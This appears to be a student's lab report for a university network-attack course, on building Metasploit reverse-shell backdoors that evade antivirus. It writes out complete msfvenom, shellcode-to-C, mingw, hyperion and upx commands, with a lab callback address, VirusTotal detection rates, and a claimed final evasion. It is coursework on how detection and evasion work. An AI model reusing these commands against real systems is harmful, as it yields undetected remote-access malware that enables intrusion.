20192404 2021-2022-2 《网络与系统攻防技术》实验三实验报告
《网络与系统攻防技术》实验三实验报告
一、实验内容
1.1
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2实验要求
掌握免杀原理与技术
回答问题
(1)杀软是如何检测出恶意代码的?
回答:
基于特征码:如果一个可执行文件(或其他运行的库、脚本等)包含有类似恶意代码的一段或多段数据则被杀软认为是恶意代码。
启发式恶意软件检测:如果一个软件做一些恶意软件通常干的典型例子,就把它当成一个恶意软件。
基于行为的恶意软件检测:在启发式基础上对软件行为进行监控
(2)免杀是做什么?
回答:对恶意软件做一些操作,使它不被杀毒软件所检测
(3)免杀的基本方法有哪些?
回答:
改变特征码
只有EXE:加壳
有shellcode:利用shellcode生成可执行文件
有源代码:用其他语言进行重写再编译
改变行为:改变通讯方式或操作模式
二、实验准备
首先需要完成实验二的内容
准备好在https://www.virustotal.com/gui/home/upload上进行测试
三、实验过程
3.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
首先我们在VirusTotal上来检测实验二中的后门程序:
发现检测率为52/67
接下来我们使用Metasploit的编码器尝试使后门程序能够免杀
首先使用x86/shikata_ga_nai对后门程序进行一次编码:
代码为msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.190.128 LPORT=2404 -f exe > 192404backEncode.exe
然后对生成的exe文件在VirusTotal进行检测:
发现检测率为:50/69
接下来我们再尝试通过x86/shikata_ga_nai对后门程序十次编码的方法进行免杀
代码:msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.190.128 LPORT=2404 -f exe > 192404backEncode2.exe
然后对192404backEncode2.exe进行检测:
检测率为:50/69,发现并没有什么用。
接着我们尝试通过不同编码器组合多次编码的方法进行免杀
代码:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2404 -f raw | msfvenom -a x64 --platform windows -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/alpha_upper -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/countdown -c 5 -f exe > 192404backEncodeMix.exe
然后我们对生成的192404backEncodeMix.exe进行检测
检测率:48/69
然后我们再尝试生成其他文件的格式,首先试试生成.jar格式的文件
代码:msfvenom -p java/shell_reverse_tcp LHOST=192.168.190.128 LPORT=2404 -f jar > 192404backEncode.jar
然后我们对192404backEncode.jar进行检测:
检测率为:37/59
然后是试试生成.php格式的文件
代码:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2404 -f raw > 192404backEncode.php
接下来对192404backEncode.php进行检测
检测率为:27/57
最后是生成.py格式的文件
代码为:msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2404 > 192404backdoor.py
接下来我们对192404backdoor.py进行检测
检测率为:17/58
3.1.2加壳工具veil
首先在root权限下安装veil
apt -y install veil
/usr/share/veil/config/setup.sh
安装好veil后,在终端中生成后门程序:
使用VirusTotal检测生成的后门程序
3.2 使用C + shellcode编程
首先使用metasploit生成用于反弹连接获取shell的shellcode
命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2404 -f c > 192404shellcode.c
生成的C语言文件:
然后使用如下命令添加主函数:
cat >>192404shellcode.c<<EOF
int main(){
int (func)() = (int()())buf;
func();
}
EOF
结果:
然后将生成的C源代码使用交叉编译的方法编译成Windows的可执行程序
代码为:i686-w64-mingw32-gcc 192404shellcode.c -o 192404shellcode.exe
使用VirusTotal检测编译后的后门程序
检测率为:37/68
3.3 通过组合应用各种技术实现恶意代码免杀
首先我们使用C + Shellcode技术生成C源代码文件,在生成命令中使用编码器x86/shikata_ga_nai进行10次编码
代码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.190.128 LPORT=2404 -f c > 192404shellcode2.c
使用如下命令添加主函数:
cat >>192404shellcode2.c<<EOF
int main(){
int (func)() = (int()())buf;
func();
}
EOF
将生成的C源代码使用交叉编译的方法编译成Windows的可执行程序
命令i686-w64-mingw32-gcc 192404shellcode2.c -o 192404shellcode2.exe
使用hyperion给程序加上一层加密壳,命令如下:
wine /usr/share/windows-resources/hyperion/hyperion.exe -v 192404shellcode2.exe 192404shellcode2.hyed.exe
然后再使用upx给程序加上一层压缩壳,命令如下:
upx 192404shellcode2.hyed.exe -o 192404shellcode2.upxed.exe
将生成的可执行程序传到Windows上,杀毒软件没有报毒
四、问题及解决方案
1.veil下载不成功问题
解决:经过多次下载后发现没联网,虚拟机断网了,之后根据资料重新初始化了网络设置问题才得到解决
2.veil安装不成功
解决
3.在加壳操作时,使用hyperion给后门程序加上加密壳时提示hyperion.exe不存在
解决:重新找到hyperion的路径为:/usr/share/windows-resources/hyperion/hyperion.exe,找到路径之后使用wine的命令执行hyperion.exe就可以了
五、心得体会
本次实验其实总体上来说还可以,但是在安装veil时我遇到了许许多多的问题,导致veil迟迟安装不成功,不够后来经过同学的帮助以及自己查找资料,问题得到了基本上的解决,在使我对课程内容更充分的学习的同时,让我练习了解决一些奇奇怪怪的问题,希望以后的实验能够更顺利的完成,学到更多知识!